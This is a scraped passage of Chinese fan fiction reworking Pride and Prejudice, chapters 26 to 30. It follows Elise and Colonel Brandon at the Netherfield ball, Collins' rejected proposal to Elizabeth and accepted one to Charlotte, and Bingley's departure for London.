倒不如说，达西先生宁愿布兰登上校能够勇敢些。 被好友衷心祝愿的布兰登上校，此时却裹足不前。 “年纪相差太大的夫妻不在少数，”夫人们的话犹在耳边，“比起年轻小伙，指不定年长的丈夫还能更疼人一些呢。” 已经结婚的女子，话语中的露骨程度，在未出阁的小姐听来，大抵不亚于走在街边被风吹起裙角，露出藏在丝袜里的脚踝那般又惊又慌。 若是换做旁的男子，怕是会露出心照不宣的笑容，然而布兰登上校生不起半点暗喜雀跃——他令艾莉丝小姐陷入了流言蜚语的漩涡。 他手足无措地站在距离艾莉丝一步之遥的帷幔后，既想进去安慰她别把听到的话放在心上，又担心她这会儿不会想见到他。 尽管他深知艾莉丝不是那些会比较爱慕者身份长相的小姐，可依旧无法克制地盘旋在他的脑海中，令他只得像个雕塑，僵硬地守在艾莉丝的背后，这行径又像是个无耻的小人，厚脸皮地赖在原地不肯罢休。 注视着帷幔后那道在寒风中停伫的身影，布兰登上校一边唾弃自己今夜的种种冲动，一边准备避到稍远些的地方，以免这般情景落入八卦之心强烈的人眼中，平添谈资。 “啊嚏！” 夜风呼啸，漂亮的，只适合待在温暖室内的长裙显然无法抵御寒冷，艾莉丝环抱住发冷的胳膊，瑟瑟地打了两个喷嚏。 饶是如此，艾莉丝也倔强的不肯进屋，仿佛普罗米修斯盗来的火种，点燃的是她的愤懑。 她从不知，原来夫人太太们背地里编排人的本领这么强，能把黑的说成白的，死的说成活的，全然不顾事实的存在。 但是，最令她生气的，却是她自己。 明明再气愤不过，艾莉丝却无法走到夫人们的跟前大声反驳她们的无稽之谈，只能像是一个落败的人，灰溜溜地逃开，而男士不止能够在公共场合高谈论阔，甚至可以为了捍卫自己的名誉发起决斗。 为什么女子就得温声细语，不得有失淑女姿态，公开与人争辩？ 倒不是说艾莉丝认为她的名誉受到侮辱，而是她为将布兰登上校牵连进周遭人的点评而难过。 听听她们是怎么说的吧！ 什么年龄、相貌、财产……仿佛评判一个人好不好就只能通过这些外在的方面来下定论。明明布兰登上校是位再好不过的绅士，在她们口中却沦为只能用财产和年轻小姐交换婚姻的可悲存在。 难道真爱只降临在年轻人的身上吗？ 世上哪有这样的道理！ 烛光透过纱帘斜照在地面，与洒落的月色将露台一分为二。一道清晰的界限将这对满怀心事的男女分隔开来。 屋外的夜风越发寒凉，吹得艾莉丝脸颊冰冷，她瑟缩着，好不可怜地打了几个喷嚏，像是被风吹得摇摇欲坠的花朵，伶仃脆弱。 下一秒，一件宽大的男性衣服陡然落下，裹挟着沉香气息的温暖将艾莉丝遮得严严实实。她抬起头，又像是受了惊的小鹿般快速地移开视线。 只一秒的对视，布兰登上校便看见晕染在艾莉丝眼眶的微红。 布兰登上校的心好似受到了重击，在荒凉的夜里发出无声的哀嚎。 “请原谅我的冒昧。” 道歉的话从干涩的喉咙中挤出。布兰登上校收回双手，垂在身体两侧。 不合时宜的恋慕致使艾莉丝陷入流言的漩涡，这让他感到万分的内疚。若他年富力强，旁人只会认为小姐得到的追求是理所应当的、可以吹嘘的、使人艳羡的。 而一个上了年纪的追求者能给年轻小姐带来什么？ 结果不言而喻。 “请别将他人的言论放在心上。通过这段时间的相处，我想我已经大致了解艾莉丝小姐你的品性，诚如班内特太太所言，你能拥有绅士们的爱慕是再正常不过的事，反而是心存爱慕的绅士有太多不足以与你相配的地方。” 布兰登上校并不擅长把自己的真实想法述诸言语，更多的是体现在行动中，奈何他不能对一位未曾和他确立关系的小姐有超出朋友以外的拉扯，他尽可能地搜刮着肚子里的词句，最后开玩笑似的用自己来举例。 “比如在一众年轻人的衬托下，我一把年纪还想着得到小姐的青睐，就显得太不应该了。” 对夸赞无动于衷的艾莉丝猛地回头，她像是听到什么可怕的故事一般，不敢置信地大声说道：“您这是在说什么呀！” “是我说错了话，”手足无措的布兰登上校第一反应就是顺着艾莉丝的话，随后才开始琢磨是哪里引来她的失态，“我不该……我不该将我比作艾莉丝小姐你的爱慕者……” “够了，请你不要再 26.第二十六章 《[傲慢与偏见]艾莉丝的鸢尾花》全本免费阅读 已经有人似有若无地打量起阳台里的情况，考虑到他们单独在外逗留的时长足以引起他人的揣测，哪怕艾莉丝有再多的疑问，也不得不暂时放弃对布兰登上校那句话的追问。 艾莉丝脱下为她隔绝寒意的外套，本该表达的感谢因满脑子的惊疑被忘在脑后，她将其递还给布兰登上校，便要掀开帘子。 “艾莉丝小姐，”落在身后的布兰登上校急急喊住了她，他看上去似乎有些难以启齿，“如果不嫌弃的话，请用。”说着，在艾莉丝的迷茫注视下，他从口袋里掏出一块帕子，眼神示意般快速瞥过艾莉丝的脸颊。 若是这般贸然出去，以艾莉丝飞红的眼尾，恐怕逃不过一些夫人小姐的敏锐观察。 “……谢谢。” 碍于今晚发生的事实在太多，艾莉丝现在全凭一贯的行为习惯做回应。她接过那素净到没有点缀任何花纹的帕子，草草整理自己的仪容后，努力摆出坦然自若的样子回到室内。 布兰登上校没有紧跟着离开。深沉的夜色下，他出神地站了好一会儿，冷风吹过他臂弯处挂着的外套，直到上面只留下风中的气息。 屋内零星几人朝艾莉丝投来视线，不等瞧出什么端倪，手上摸到的牌便让他们无暇对牌局以外的事情好奇。 倒是有几位眼熟的夫人，她们看见艾莉丝后热切地打着招呼，又建议她学该学着她的几个姐姐，趁着这个机会多去跳上几支舞。梅里顿鲜少有这么大排场的舞会，错过这一次，下回可就不知道得等到什么时候了。 扫了眼正开开心心和红制服跳舞的莉迪亚和凯瑟琳，艾莉丝一一应付过夫人们，她没在班内特夫人身边看到伊丽莎白，想来对方应该是难以忍受和那位刁钻的布朗夫人，又不愿意再听自己母亲的畅言，另寻了其他地方休息。 也是，有耳根子清净的地方可去，又何必自讨苦吃留在原地呢？布兰登上校会是因此而打算离开吗？ 心脏因这个猜想而坠落，压得胃部沉甸甸。 艾莉丝抬起头四处张望。 在场的大部分男士都倾向于选择不易出错的深色外套，他们的花哨更多地体现在衣服的质地、胸针、袖扣等能够体现财力和审美的装饰物上，这使得艾莉丝一时间很难找到她想要找的人。 明明平时总能轻易地遇到布兰登上校…… “艾莉丝，你怎么不去跳舞在这发呆？” 乐曲停止的间歇，莉迪亚暂时告别那群很会说话的红制服，她几乎和人聊到了现在，现在急需来上一杯酒水滋润自己的喉咙。结果她刚走到餐桌前，就见艾莉丝傻傻地站着。 她凑到艾莉丝耳边放大了音量：“回神啦！” 突如其来的声音吓得艾莉丝差点跳起来，她捂着心脏怦怦直跳的胸口，看着上一秒还在其他地方的莉迪亚。 “莉迪亚，你怎么在这？” “我都站在你跟前有一小会儿了，倒是你跟丢了魂似的，和你说话也不理。”莉迪亚狐疑，“你想什么呢？” 隐约察觉到布兰登上校尚未向其他人透露他的行程打算，艾莉丝便隐瞒了下来：“我就是有些无聊，所以跑神了。” “我看你的样子可不像。” 莉迪亚多看了她两眼，愣是没看出什么心虚。不过莉迪亚向来心大，转眼就把这事翻了篇，兴致勃勃地谈起和军官们相处的氛围有多么自在，话题有多少有趣。 “凯瑟琳今晚都说了不少，我还是第一次见她这么能聊。不如你也去我们那坐坐？反而你在这没事做。” “我就不……” 拒绝的话还没完全说出口，艾莉丝就被一时兴起的莉迪亚牵起手，往红制服所在的房间拉去。 周围的人见状，纷纷让出一条路来，以免出现碰撞的情况。而盘子上端有食物的男仆更是远远地就避了开去，生怕弄脏客人们的衣饰。 “莉迪亚，慢一点，我们完全可以走过去！” 莉迪亚头也不回，她的精力旺盛，跳了前半场都不见半点疲惫。 被拉着小步快跑，艾莉丝的余光只抓到一抹混在阴影中的金棕色，至于属于谁，因为莉迪亚脚下的速度太快，她没能看清，直到站在红制服堆里，艾莉丝的脑子由于小跑还有点发晕。 “你们说到哪了？我没错过什么吧？”莉迪亚问。 “我们正说到威廉姆斯先生刚做军官时的糗事。”凯瑟琳笑着回答。 正如莉迪亚所说，凯瑟琳今天的性子活络许多，在威廉姆斯先生的默许下，她把他怎么闹的笑话告诉给了没能听到的两个姐妹。 有时候抛出一些自己的糗事来作娱乐，未尝不是拉近人与人关系的一种方式，起码威廉姆斯先生刚出场时对威克姆先生的咄咄逼人已经无人在意，人们都觉得他是个讨人喜欢的年轻人。 而年轻人难免年轻气盛，有些摩擦再正常不过。 只除了丹尼先生，他怎么都想不通为什么自己的两个朋友没法好好相处，虽说他对达西先生颇有微词，可通过达西先生结交的宾利先生和布兰登上校关系就很不错。 看着和几位小姐相谈甚欢的威廉姆斯先生，丹尼先生惆怅地叹了口气，他本来还想借着今晚让两个朋友再多聊聊。 “丹尼先生，”一位小姐眼尖，“你是遇到什么烦心事了吗？” “只是想着这么美好的夜晚，威克姆不能来真是太可惜了。” “真不知他是有什么急事。”她附和道。听说威克姆先生会来，她还激动了好一阵儿。 他们就威克姆先生畅谈了起来。 比起不在的人，莉迪亚还是更乐意和现场的人玩乐，她和凯瑟琳像是两只扑腾的小鸟，围着威廉姆斯先生叽叽喳喳地问着她们感兴趣的事。 艾莉丝心里藏着事，她站在莉迪亚的身边，只摆出一副认真倾听的神态，眼睛则不住地往那抹一闪而过的金棕色所在的地方看去。 那像极了布兰登上校的发色。 不是朝阳般张扬肆意，而是如上校给人的印象一般内敛持重。 这一次，艾莉丝没再失望。 靠近壁炉的沙发座椅上，坐着的人赫然是艾莉丝想要找到的那一位，难怪她刚刚围着阳台附近看了一圈都没见着布兰登上校的人影，原来他是找了个兼具热闹和清净的位置。 可…… < 27.第二十七章 《[傲慢与偏见]艾莉丝的鸢尾花》全本免费阅读 没能弄明白布兰登上校离开的原因，郎伯恩内又发生了一件大事——柯林斯先生向伊丽莎白提出了求婚。 具体的情形无人得知。一大清早，柯林斯先生就请求班内特太太给他和伊丽莎白两人留出私人的空间，于是艾莉丝和她的姐姐们就在班内特太太的笑脸下被推出了小客厅。 “他绝对是要求婚。”莉迪亚此时有些同情她那不怎么亲近的二姐了，“真是不敢想象，伊丽莎白要怎么和柯林斯先生相处，他跳舞跳得那么糟糕，就跟刚学会走路似的。” 玛丽对此感到无语：“就算伊丽莎白拒绝，也不是因为柯林斯先生跳得不好。” “他昨晚的行为教丽齐够难堪的了，”艾莉丝说，“更别提他和丽齐压根聊不到一块去，他哪来的自信丽齐会答应？” “大概是觉得没人能拒绝一位有着远大前程的、备受恩主青睐的、即将继承表妹家财产的却愿意靠婚姻进行施舍的绅士的好心吧。”玛丽犀利的语言令几个姐妹笑出了声。 “那他可要失望了，丽齐才不会轻易妥协。” 艾莉丝的话音刚落，就见伊丽莎白面带不虞地走出来，随即不过几分钟，整个屋子都是班内特太太气势汹汹跑到书房去，要求班内特先生命令伊丽莎白改口的对话。 “要是她不答应柯林斯先生的求婚，那她就再也没有我这个妈妈了。”* 所有人都不约而同地看向伊丽莎白，简默默握住她的手。 “好吧，那看来我们是得和丽齐好好谈谈了。” 班内特先生拉开门，看着被姐妹们簇拥的伊丽莎白，他擦了擦眼镜，一本正经道：“丽齐，现在你面临的是两个不幸的选择。” 艾莉丝诧异地看着班内特先生，明明爸爸最疼的就是丽齐，难道他真的要让丽齐嫁给柯林斯先生吗？ “如果你不答应，你就会失去一个母亲。”班内特先生不顾伊丽莎白煞白的脸，“但如果你答应，你就会失去一个父亲。*” “班内特先生，你怎么可以！”班内特夫人气得脸颊通红，浑身打颤。 伊丽莎白狠狠抱住笑起来的班内特先生：“爸爸，谢谢！” 赶在班内特太太神经痛发作前，简和玛丽、凯瑟琳拉着伊丽莎白往屋外走，留下艾莉丝和莉迪亚降火。 “我这都是为了谁。”班内特太太抹着帕子，“丽齐也就长相过得去，她那样的性格，又没什么嫁妆，错过了柯林斯先生，哪里还能有什么好姻缘。” 如果班内特先生最喜欢的是丽齐，那她的态度则正好相反。 “再说了，她要是不嫁给柯林斯先生，难不成我要眼睁睁看着郎伯恩的财产落到别人的手里吗？等哪天你们父亲走了，我们连个落脚处都没有。” “爸爸身体一向康健，怎么会说没就没呢？”艾莉丝轻轻拍打着班内特夫人的背，一如她小时候在母亲那得到的安慰，“而且他不是和加德纳舅舅投资了工厂，也许运气好一些，到时候我们的嫁妆就不止一千英镑了。” “那得等到什么时候去。我问他生意做得怎么样，他也不吭声，我这心里七上八下的，生怕连本来就有的钱都搭进去。” “舅舅做生意做了这么多年，你信不过爸爸，但总能相信舅舅，不是吗？” “……加德纳确实有做生意的头脑。” “等我们有了郎伯恩以外的财产，就算郎伯恩不再属于我们，起码也不至于沦落到无家可归的地步。”艾莉丝见班内特太太的心情逐渐缓和，又倒上一杯茶递到她手里，“妈妈你无非就是担心这一点，既然如此，丽齐她不喜欢柯林斯先生，我们又何苦逼着她同意呢？” “对啊，而且真要没处去，等简和宾利先生结了婚，我们就住到简那去。”莉迪亚吃准了简脾气好，不会拒绝姐妹们的请求。 “你们能在简那住一辈子？” “我有那么多姐姐，大不了挨个住过去。”莉迪亚的作风堪称彪悍，“艾莉丝那还有安娜小姐照拂她，妈妈你就不要顾虑这么多了。” “反正我们现在不愁吃不愁穿，结婚的事急不来，就顺应自然嘛。”艾莉丝眨巴着眼，“妈妈你就不要生气了，为了这点事气坏身体才是真的不划算。” “结婚的事能叫这点事嘛？” 感觉到班内特太太的火气渐收，艾莉丝也耍起了小女儿姿态：“那反正就算丽齐回心转意，柯林斯先生那头也未必就愿意。他的脸色好看不到哪去呢。” “噢，我的神经。” 班内特太太当即喊出了她的老朋友，她顾不得其他，决定找柯林斯先生再谈谈。 奈何，柯林斯先生回过味来，伊丽莎白的拒绝并非是他所想的那般，是小姐们的欲拒还迎，他不明白自己的条件摆在这居然还会被拒绝，但班内特家的动静不算小，他已经打定主意要收回对伊丽莎白的求婚。 当班内特太太找到他时，柯林斯先生如实表达了自己的意愿：这件事再无转圜的余地。 伊丽莎白的好事成了到嘴的鸭子，彻底飞走，即便又艾莉丝做班内特太太的开心果、贴心小棉袄，她看伊丽莎白依旧眼睛不是眼睛，鼻子不是鼻子，时不时就要埋怨几句。 “只是被妈妈唠叨几句，”在夏绿蒂·卢卡斯小姐到访时，伊丽莎白说，“总比我嫁给柯林斯先生强。” 处境不同，夏绿蒂不多发表自己的意见，但在之后的聊天里，她接过话茬，和柯林斯先生聊得还算愉快，这让在场的人都轻松不少。 挨过晚饭后的闲聊，柯林斯先生还承担起主人家的义务，配送夏绿蒂小姐往回走了一段路。 “多亏有卢卡斯小姐在。”艾莉丝躺倒在床上，她今天像是小蜜蜂，飞上飞侠忙碌了一整天，就算对厨房的事情不怎么感兴趣，还是陪着班内特太太在里面消磨了一会，“不然冲柯林斯先生那拉着的脸，今天指不定多难熬。” 莉迪亚换过睡裙，钻进被窝，她一听柯林斯先生的布道就犯困：“她竟然能耐得住性子听柯林斯先生的长篇大论。” “现在我只希望柯林斯先生能赶紧回去，省得他在这刺激妈妈的神经。” “我不能更同意了，有他在，我们在家都不能尽情玩闹。” 只要莉迪亚做出什么不符合淑女的举止，柯林斯先生便要拿出他当表哥和牧师的派头进行说教，一副势必要将其改邪归正的态度，惹得莉迪亚见到柯林斯先生就躲。 “说真的，伊丽莎白要是真答应他的求婚，我们就得多出一个爱管这管那的姐夫了，我可受不了。” “我也不想以后拜访伊丽莎白的夜晚都这么沉闷。”艾莉丝打了个抖索。 她们两相对视，异口同声：“幸好他没能成为我们的姐夫。” 除了班内特夫人，这确实是一个皆大欢喜的结果。 第二天，柯林斯 28.第二十八章 《[傲慢与偏见]艾莉丝的鸢尾花》全本免费阅读 “养女？” 艾莉丝下意识地重复。 “是的。”布兰登上校说，“她和你差不多大。” “如果不是知道上校你不是信口胡说的人，我差点以为今天是故意愚弄人的日子了。”艾莉丝强压下心头的震惊，事实上她这会大脑一片空白。 布兰登上校保护秘密的本领着实令人惊叹——这件事竟然没被好事的人打听到一星半点儿。 “这事细究起来并不光彩，而我的收养在他人眼里也有颇多臆测。”那股时常围绕在布兰登上校周身的痛苦气息此时越发浓厚，“为了不让伊莱莎生活在别人的指指点点下，我只能尽可能地减少这件事的流传度。” 哪怕艾莉丝暗下决心，绝不会有第二个人从她口中听到任何相关的字眼，可她依旧睁着那双乌黑的双眼，颇有些焦急又气闷地瞪着布兰登上校：“如此隐秘的事，上校你怎么轻易能告诉我呢？要是我一个不留心说出去，保准到下午整个梅里顿的人都会知道。” “因为我十分清楚，艾莉丝小姐你不会这么做。” 布兰登上校的信任让艾莉丝哑语，她咳嗽了两声：“我不会告诉其他人的。” 既已提到伊莱莎，布兰登上校便说起收养她的缘由：“当初伊莱莎的母亲，也就是我的表妹，在病逝前将伊莱莎托付给我。我是唯一能帮助她的人，仅是这个原因，我就没法拒绝她。” “原来如此。”艾莉丝了然，“所以这位伊莱莎小姐，她不和你住在一起吗？” “在伊莱莎很小的时候，我就把她送去了寄宿学校。毕竟我孤身一人，不管出于哪一方面的考虑，伊莱莎都不太适合和我住在一起，倒不如在学校里学习一些知识和技艺，还能有同龄的人作伴。” “你很为伊莱莎小姐着想，难怪她心里也记挂着你。” “我只是做了我理应做的，这算不得什么。倒不如说，比起父亲的形象，我对伊莱莎来说可能更像是一个不甚亲近的监护人。” “为什么上校你会这么想呢？” “这些年来，我和伊莱莎的相处越发生疏。即便伊莱莎的神情偶有郁色，可她并不会主动告诉我，我也不知道该怎么做才能在适当的范围里表达关心。” “虽然这么说不太合适，但在女孩子成长的过程里，除了父亲的角色之外，同样需要女性朋友的陪伴和开解，这不正是上校你送伊莱莎小姐去女子寄宿学校的原因之一吗？或许等她真的遇到了无法解决的事情时，就会来寻求上校你的帮助了。” 话说出口，艾莉丝又觉自己身为旁观者说得未免太过轻巧。 她有班内特太太给予的足够多的母亲的关爱，可依旧对缺失的父亲的陪伴耿耿于怀，那伊莱莎小姐未必不会渴望能和自己的监护人更加亲近。 “或者上校你可以通过管家、或是跟在伊莱莎小姐身边的仆人，多多传达你对伊莱莎小姐的关心，诸如衣食住行上哪里有需要添补的，在学校里是否遇到了不好的事……只要上校你切实地表现出你是伊莱莎小姐的后盾，我想伊莱莎小姐不会感受不到的。” “我能想到的也只有这些，未必管用。但是既然伊莱莎小姐会主动看望你，或许她有着和上校你一样的困扰呢？” “我会照你的建议去尝试的，艾莉丝小姐。” “而且，在我看来，”对于接下来的话，艾莉丝有些难为情，她还是第一次当着男士的面形容对方的性格，“上校你似乎习惯了克制内敛，可对于亲人而言，有时候直白点并不是坏事。” 她瞥了眼沉默的布兰登上校，又连忙补充。 “我不是说克制内敛不好。只是，太澎湃热烈的情感会像太阳那样灼伤旁人，太隐忍压抑的情感也会像月亮让人感到疏离，而亲人是最不需要防备的，我以为只要做真正的自己就好。既然上校你关心伊莱莎小姐，就该将你的关心说出来……” 艾莉丝的话音越来越低。 她是不是仗着布兰登上校的宽容说太多了？ 就在艾莉丝心生悔意之时，布兰登上校清楚地意识到，他和艾莉丝每多一次相处，他心中的爱慕就会深上一分。假使他再不离开，大概会压抑不住冲动，在艾莉丝的眼眸下吐露心意。 “艾莉丝小姐，”布兰登上校唤她，“我想，如果伊莱莎见到你，一定会很愿意结识你这样一位惹人喜爱的小姐的。” “有机会的话，我也很乐意能多认识一位年龄相近的小姐。到时候还得麻烦上校你为我们搭桥才是。” “这是我的荣幸。” 考虑到布兰登上校下午的行程，艾莉丝不再耽搁他的时间。她在护送下回到班内特宅邸，又目送上校的身影策马远去。 没过多时，姐姐们说说笑笑的声音自屋外传来，间或几声低沉的男性嗓音——是从伦敦办完事回来的威克姆先生，他正对着丽齐献殷勤。 “日安，艾莉丝小姐。”他瞧见从窗户探出头的艾莉丝，摘帽行礼。 威克姆先生一弯腰，慢上几步的威廉姆斯先生也露了头。他们二人像是泾渭分明的两条线，一个只和年长的三位班内特小姐相处，一个则跟凯瑟琳和莉迪亚聊天，看着谁也不想搭理谁的模样。艾莉丝真不明白他们二人是怎么在没有丹尼先生在场的时候走到一块去的。 想归想，艾莉丝赶忙理过裙摆，走到门口处欢迎：“日安，威克姆先生，威廉姆斯先生。” “威克姆先生，你没参加内瑟菲尔德的舞会，实在太可惜了。”她客套地找了个话题，“相熟的人都很关心你。你在伦敦的事宜已经处理完毕了？” “没能体会舞会的乐趣，我也深感遗憾。至于伦敦的事，其实倒不需要我大费周章赶过去，总之现在的确已经解决了。”威克姆先生叹了口气，做出一副你懂我也懂的神情。 这可不符合他一贯的作风。艾莉丝以为威克姆先生起码会直接说什么“我还是不和达西先生共处一间屋子为妙”之类的话，以此彰显他的退让和包容。 威廉姆斯先生搭腔：“我相信威克姆能尽快地调整好这份遗憾的心态，毕竟达西先生是内瑟菲尔德庄园的客人，接下来的每场舞会 29.第二十九章 《[傲慢与偏见]艾莉丝的鸢尾花》全本免费阅读 威克姆先生的人品已然存疑，他献上的殷勤也不再如初时那般令人着迷。伊丽莎白不再试图靠自己的判断去替威克姆先生填补漏洞，而是等待着真相大白的时刻到来。 简很高兴伊丽莎白没怎么对威克姆先生上心，尽管他看上去仪表端正，风度翩翩，能惹不少年轻小姐喜欢。 “你完全可以放心。”听了简的担忧，伊丽莎白道，“我会照应好自己，虽说我并不认为我对威克姆先生有这么深的感情。”当一名表现的完美无缺的男士向你说好话时，最先满足的恰是女士的虚荣心。伊丽莎白自认不可免俗。 “但愿真相没那么糟糕。我真是不敢相信，威克姆先生是在故意抹黑达西先生的为人。” “那你就得承认布兰登上校是个会为了朋友扭曲事实的人，我亲爱的简。”伊丽莎白做出不幸的表情。 “噢……你给我出了一道难题，丽齐。我还盼望着这其中或许有误会。” “你站威克姆先生也无妨，因为艾莉丝肯定会选择相信布兰登上校。” “这话又是从何说起？难不成艾莉丝她？” “不是你想的那样。艾莉丝现在还只把布兰登上校视作可信赖的朋友。”伊丽莎白早就对布兰登上校的情意有了猜想，但她以为，对方的情路怕是颇为坎坷，要让艾莉丝从敬重到爱重，可不什么容易的事。 “我差点以为在我不知情的时候，艾莉丝和布兰登上校之间发生了什么。” “沉浸在爱情的漩涡中的班内特小姐，哪还能注意到宾利先生以外的人呢？”伊丽莎白调笑，“他可是拒绝了好几位小姐，只为了和你多跳上一会。” 红霞爬上简白皙的脸颊，她对宾利先生的感情只深不浅，但出于淑女应有的矜持，只有家里的姐妹能一窥她的少女情状。 “也不知得等到什么时候，我能多出一位法律上的兄长？” 燥热一下子从简的脸上弥漫开来，她嗔道：“丽齐！” 欣赏过简含羞的模样，伊丽莎白才有所收敛。但不管怎么说，她们对于宾利先生将要求婚的事深信不疑，这样十足的把握在收到宾利小姐的来信时，破碎得愈发惨烈。 有道是福无双至，祸不单行。 宾利小姐的信送到简的手里时，恰逢卢卡斯小姐上门拜访，她面带踌躇，步子却直直地朝伊丽莎白走去，俨然是有要事相说。 伊丽莎白虽然不解，但分外高兴她能过来：“夏绿蒂，你这几日是在忙什么？我们都没看见你的人影。” 她这话是问到了点子上。 夏绿蒂开门见山：“柯林斯先生前不久向我求婚，而我也答应了。再过几天，我们就会举办婚礼。”她看着满脸愕然的伊丽莎白，“我今天过来就是为了告诉你这个好消息的，丽齐。” “你是在跟我开玩笑吗，夏绿蒂？你和柯林斯先生是什么时候的事？”伊丽莎白简直不敢相信自己的耳朵，“他那样性子的人，你跟他在一起真的会幸福吗？” 她和夏绿蒂一向有说不完的话，而彼此又都互相理解对方，伊丽莎白根本想象不到聪慧的夏绿蒂居然会答应柯林斯先生的求婚。 出门前就已经做好被伊丽莎白发问的准备，可真正面对的时候，卢卡斯小心依旧感到几分慌张，但她亦有几分不服输的心态，是以很快就镇定了下来，甚至反问伊丽莎白。 “难道你认为我和柯林斯先生结婚就没法过上幸福的生活吗？”卢卡斯小姐斩钉截铁，“正相反，我清楚的知道这就是我想要过的日子。” 和年轻貌美的伊丽莎白不同，卢卡斯小姐自知自己的家庭无法给她任何帮助，甚至一度成为她的拖累，又没有一张足够漂亮的脸蛋，在这种情况下，柯林斯先生怎么不算是一个好的选择。 她对婚姻的要求，无非是嫁给一个体面的男士，过上体面的生活。就算柯林斯先生自我意识过剩，好恭维，又听不懂人话，但这在他的身份和未来将要继承的财产前，都不值一提。 “我想得再清楚不过了，丽齐。”她软下声音。 “噢，你会幸福的，夏绿蒂。”在话出口的瞬间，伊丽莎白就恢复了冷静，她没再说些扫兴的话，转而肯定起好友的未来，“我仔细一想，这确实是一桩再好不过的姻缘。” “你知道的，我从不奢望会有一个英俊又富有的男士向我求婚。”卢卡斯小姐说，“何况，人的选择不总是尽善尽美的。比起浪漫，我更喜欢务实。” 伊丽莎白不理解，但她还是再次向卢卡斯小姐送上祝福，尽管她内心为此感到悲哀：她和夏绿蒂怕是再也回不到以前推心置腹、无话不谈的状态了。 大概是不想继续尴尬下去，卢卡斯小姐不再多留，而伊丽莎白脑子里还是这桩在她看来不甚协调的婚姻。 艾莉丝抱着画架进屋时，就见伊丽莎白心不在焉地坐在沙发上，两眼直勾勾地望着窗外，而简则是神情恍惚、失魂荡魄地靠在扶梯上，手里还拿着一封展开的信。 “丽齐、简，这是发生了什么？怎么你们一个个都心神不定的样子。” 简扶着栏杆站起来，试图轻描淡写地说出信上的内容：“宾利小姐来信，她们已经收拾好行礼，准备去伦敦寻宾利先生去了。” “然后呢？”伊丽莎白跟着起身，她追问，“她们是不准备回来了吗？” “我想是的。”简抖了抖写得密密麻麻的信，“伦敦的冬天有不少活动，比起梅里顿，她们更倾向于留在城里过冬，并且打算劝宾利先生照她们的心意行事。” “这是宾利小姐她们的打算，宾利先生未必会答应。” 艾莉丝也道：“就算在城里过冬，也不代表他们一直不回来了。要是宾利先生有退租的意愿，没道理我们会不知道。” 如果只是这样，简自然不至于失魂落魄。 “她们认为宾利先生和达西先生的妹妹很相配，说那是一门再合适不过的姻缘，会得到两家人共同的祝福。”简重复她们对达西小姐的赞美：“达西小姐是一位集聪慧、文雅、美丽于一身的女士，我们从未 30.第三十章 《[傲慢与偏见]艾莉丝的鸢尾花》全本免费阅读 柯林斯先生向卢卡斯小姐求婚的消息，打得班内特夫人猝不及防。 她都没做好接受这事的准备，柯林斯先生却已经开口拜托她们帮忙操办婚礼， “真是可恶，你们都没仔细瞧他那贪得无厌的表情，”班内特太太骂骂咧咧，“光是以后要继承郎伯恩也就算了，这会居然还要来占我们的便宜。” 饶是这般，班内特太太还是心不甘。情不愿地帮着卢卡斯一家准备起婚宴来。唯一能让她有些安慰的，就是简和宾利先生的事——她尚不知宾利姐妹的来信，满心以为宾利先生办完事就会回来向简求婚。 因而，我们大可以想象，当她从外人口中得知宾利先生没打算再回来后，她的心情是多么的崩溃。 天塌下来都不会有比这更绝望的事了！ 一夕之间，班内特太太看好的两桩婚事尽数告吹，她两眼一抹黑，彻底晕过去。 小姐们又是急着翻鹿角精，又是忙着拿嗅盐，好不容易等到班内特太太恢复意识，就迎来了一段水深火热的生活。 任何一件小事都能引起班内特太太的神经疼痛，紧接着便是一连串的抱怨，其中被数落最厉害的当数拒绝柯林斯先生的伊丽莎白，以及将会代替她成为郎伯恩女主人的卢卡斯小姐。 在这样的情形下，连莉迪亚都不敢轻易造次，收敛了性子，唯恐被殃及池鱼。 “加德纳舅舅一家过几天不是要来？妈妈总该会给点好脸色。”艾莉丝放下画笔，看着到她画室里躲清净的伊丽莎白，“实在不行，丽齐你跟着我一块去伦敦待段时日吧。等妈妈气消了再回来也不迟。” 伊丽莎白摆摆手：“妈妈翻来覆去也就那几句话，我都听习惯了。”她叹了口气，“我倒是想让简去伦敦放松一下心情，妈妈时不时就要把宾利先生拉出来说上一通，简听了心里难免不是滋味。” 好事不出门，坏事传千里。 先前班内特太太一副喜事将近的得瑟模样，招了不少夫人们的嫉恨，现下宾利先生一行人去到伦敦后没个音讯，她们哪还忍得住，一瞅着机会就出言刺一刺班内特太太。 而简无疑是最难过的。 “难道宾利先生毫无自己的主见，亲友说什么他便信什么？”伊丽莎白气极，“如果真是如此，我要看不起他了。” 艾莉丝推开画架，腾出供两人聊天的空间，以免碰上未干的颜料。 “你也只能和我说说了，简不会愿意听到你这么评价宾利先生的。” “噢，简……她还替宾利先生说好话，决心把宾利先生当成朋友留在记忆里。哪有朋友会做出这些招人误会的事来？最后他倒是一走了之，简却要被人背后看笑话。” “她一向和善，不愿过多地揣测别人。”艾莉丝说，“甚至这会，简都以为宾利姐妹是真心拿她当朋友，我们又怎能要求她转性移情，改口说起宾利先生的坏话，这是在为难她。” “如今对于宾利先生的情况，我们都只能通过宾利小姐的来信推测。而信上通篇都是达西小姐的千般好，万般美，恨不得将她和宾利先生是天作之合这句话放到简的眼皮子底下。我实在想弄清楚，宾利先生是否已经变了心。” 然而任伊丽莎白再怎么焦虑，都无计可施。除了宾利姐妹，她们没法和任何一位男士通信——这起码得是未婚夫妻之间才可以做的事。 “那不如依你的提议，劝简去伦敦住几日？说不定去到那之后，我们能借着拜访宾利小姐的由头见到宾利先生。无论结果如何，总比我们在这干瞪眼来得强。” 她们仔细推敲其中的逻辑，一致同意除此之外别无他法。 加德纳先生和妻子抵达班内特宅邸时，他们获得了比以往更加热情的招待。 待加德纳舅妈分发过给每个侄女的礼物，她们总算能坐下来好好聊聊近期发生过的事。 班内特太太有了新的可宣泄的对象，立刻倒豆子般把她近日受的苦都吐露出来。 “伊丽莎白太不听话，和班内特先生合起伙来气我。柯林斯先生哪一点让人不满意？她居然毫不留情地拒绝了对方。这也就算了，结果一转头，卢卡斯小姐倒是把柯林斯先生的心迷住了，她家里的人现在指不定盼着班内特先生早点没了，好让柯林斯先生继承郎伯恩呢。她以为她们的心思我不知道？” 加德纳舅妈安慰她：“这都是多少年后的事了，你现在还住在郎伯恩呢。那柯林斯先生既做得出几天内同时向两位小姐求婚的糊涂事，我看伊丽莎白拒绝他不算错。” 伊丽莎白暗暗朝她投来一个感激的眼色。 “还有内瑟菲尔德的宾利先生，我们都以为他从伦敦回来后就会求婚，哪知他去了就不回来了。我可怜的简，我们真是教他给玩弄了。” 班内特夫人再想不起当初夸赞宾利先生的话，一门心思认为他欺骗了她们所有人的感情。 